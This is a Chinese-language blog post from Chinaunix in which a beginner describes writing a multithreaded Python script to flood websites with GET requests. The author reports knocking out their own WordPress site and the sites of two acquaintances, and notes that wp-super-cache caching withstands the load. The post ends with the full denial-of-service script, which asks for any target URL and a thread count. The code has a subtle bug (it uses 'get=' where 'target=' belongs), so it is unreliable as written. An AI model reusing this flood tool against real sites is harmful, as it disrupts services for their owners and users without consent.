Chinaunix首页 | 论坛 | 博客
  • 博客访问: 47848
  • 博文数量: 61
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 360
  • 用 户 组: 普通用户
  • 注册时间: 2015-01-05 15:04
文章分类
文章存档

2015年(61)

我的朋友

分类: LINUX

2015-01-26 11:50:07

最近初学 Python, 写了一个程序开1000个线程来 get 我的wordpress(没开wp-super-cache), 然后发现网站瞬间跪了. 然后我去攻击原哥的网站, 原哥的网站也跪了. 紧接着我打算试一下  这个Feung的网站, 他也跪了. 我于是去试了一下  , 结果他纹丝不动.

为什么大家都是 Linode 主机, 他的博客没有跪呢, 难道他买了很快的cpu套餐? 仔细一想应该是 wp-super-cache.

我一开始不知道wp-super-cache有这么好用. 后来想想也是, 这么多get过去在vps里面开个top一看五个-fpm进程都占满了cpu, 但是流量也不大也就十来兆. 所以开了个静态化当然是可以化解这样的攻击了.

于是我把我的wordpress也开启静态化, 然后Python攻击一下, 果然也是纹丝不动了, vps里面top一看php-fpm都没在工作. 也是蛮吊的.

然后我又试了一下攻击 Tornado 建的没有的站, top一看好几个Python进程都占满u了, 与php无异.

附 Python 代码:

import threading
import requests
def attack(index, url):
  cnt = 0
  while True:
    cnt += 1
    x = requests.get(url)
    print("[%d]  ==  %d || %s\r"%(index, cnt, x.content.decode('utf-8')[0:50]))
if __name__ == "__main__":
  url = input("Input the URL: ")
  x = int(input("Input the amount of threads: "))
  pool = []
  for i in range(x):
    pool.append(threading.Thread(get = attack, args = (i, url)))
  print("Start attack....")
  for i in range(x):
    pool[i].start()
  • 本文来自:
阅读(272) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~